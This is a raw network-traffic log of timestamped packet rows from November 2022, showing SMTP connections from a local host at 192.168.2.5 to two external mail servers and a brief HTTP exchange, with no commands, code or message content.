Nov 7, 2022 22:24:45.308738947 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308748960 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308760881 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308773041 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308784008 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308794975 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308805943 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308816910 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308839083 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308850050 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308861971 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308936119 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308947086 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308959007 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308969975 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308980942 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.308994055 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309005022 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309015989 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309026957 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309037924 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309050083 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309062004 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309072018 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309082985 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309094906 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309108019 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309119940 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309130907 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309143066 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309154034 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309165001 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309175968 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309189081 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309200048 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309211016 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309221983 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309232950 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309243917 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309256077 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309267998 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309278965 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309287071 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309298992 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309309959 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309318066 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309324980 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309333086 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309344053 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309350967 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309362888 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309413910 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309492111 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309504032 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309515953 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309526920 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.309539080 CET	25	49778	74.125.200.26	192.168.2.5
Nov 7, 2022 22:24:45.338274002 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.338402987 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.346046925 CET	80	49801	81.17.18.196	192.168.2.5
Nov 7, 2022 22:24:45.346261978 CET	80	49801	81.17.18.196	192.168.2.5
Nov 7, 2022 22:24:45.346345901 CET	49801	80	192.168.2.5	81.17.18.196
Nov 7, 2022 22:24:45.371300936 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.423666954 CET	49801	80	192.168.2.5	81.17.18.196
Nov 7, 2022 22:24:45.439181089 CET	80	49801	81.17.18.196	192.168.2.5
Nov 7, 2022 22:24:45.444912910 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.478171110 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.478226900 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.478246927 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.478264093 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.478281021 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.478297949 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.478313923 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.478334904 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.478353024 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.478408098 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.478738070 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.511373043 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511424065 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511444092 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511459112 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511476040 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511542082 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511560917 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511576891 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511643887 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511677980 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511681080 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.511734009 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511756897 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511771917 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511791945 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511807919 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511935949 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511955023 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511959076 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.511970997 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.511990070 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.512007952 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.512032032 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.512032032 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.512063980 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.512063980 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.512087107 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.544713020 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544749022 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544769049 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544786930 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544804096 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544821978 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544840097 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544855118 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544871092 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544887066 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544887066 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.544903994 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544949055 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544958115 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.544969082 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544987917 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.544991016 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545021057 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545021057 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545021057 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545046091 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545145035 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545164108 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545181990 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545198917 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545209885 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545211077 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545243025 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545259953 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545279026 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545286894 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545298100 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545312881 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545317888 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545327902 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545336962 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545342922 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545356035 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545375109 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545398951 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545398951 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545427084 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545427084 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545470953 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545488119 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545504093 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545531034 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545547009 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545562029 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545682907 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545702934 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545718908 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545734882 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545742035 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545753002 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545766115 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545773983 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.545780897 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545794010 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545816898 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.545833111 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.577893019 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.577929020 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.577946901 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.577965975 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.577982903 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.577980995 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578000069 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578051090 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578056097 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578073978 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578104019 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578150034 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578170061 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578187943 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578191042 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578207016 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578212023 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578227043 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578234911 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578254938 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578269958 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578366995 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578423977 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578469992 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578489065 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578506947 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578524113 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578533888 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578536987 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578556061 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578573942 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578593016 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578598976 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578598976 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578604937 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578641891 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578641891 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578658104 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578661919 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578679085 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578696012 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578712940 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578722954 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578722954 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578757048 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578784943 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578804016 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578839064 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578852892 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578860998 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578872919 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578895092 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578917980 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578937054 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.578941107 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578960896 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.578984976 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579046011 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579066992 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579080105 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579092026 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579108953 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579160929 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579166889 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579180002 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579191923 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579200983 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579212904 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579221964 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579241037 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579247952 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579262972 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579272032 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579288960 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579312086 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579313993 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579334021 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579353094 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579359055 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579372883 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579391956 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579410076 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579411983 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579430103 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579463959 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579463959 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579487085 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579509974 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579529047 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579546928 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579561949 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579566956 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579580069 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579629898 CET	49800	25	192.168.2.5	142.250.147.27
Nov 7, 2022 22:24:45.579644918 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579663992 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579710960 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579727888 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579745054 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579761982 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579780102 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579793930 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579812050 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579859972 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579878092 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579910994 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579930067 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.579946995 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580024958 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580043077 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580061913 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580082893 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580276966 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580297947 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580317020 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580334902 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580353022 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580369949 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580387115 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.580404043 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.610987902 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611025095 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611046076 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611063957 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611080885 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611097097 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611114979 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611126900 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611187935 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611269951 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611356974 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611433983 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611603975 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611624002 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611659050 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.611850977 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612054110 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612070084 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612253904 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612272024 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612288952 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612365007 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612552881 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612633944 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612653017 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612721920 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612751961 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612780094 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612890005 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.612972975 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613038063 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613051891 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613109112 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613121033 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613133907 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613185883 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613198996 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613221884 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613234997 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613256931 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613395929 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613410950 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613425016 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613436937 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613468885 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613481998 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613493919 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613600969 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613620043 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613636971 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613656044 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613672972 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613688946 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613704920 CET	25	49800	142.250.147.27	192.168.2.5
Nov 7, 2022 22:24:45.613754988 CET	25	49800	142.250.147.27	192.168.2.5
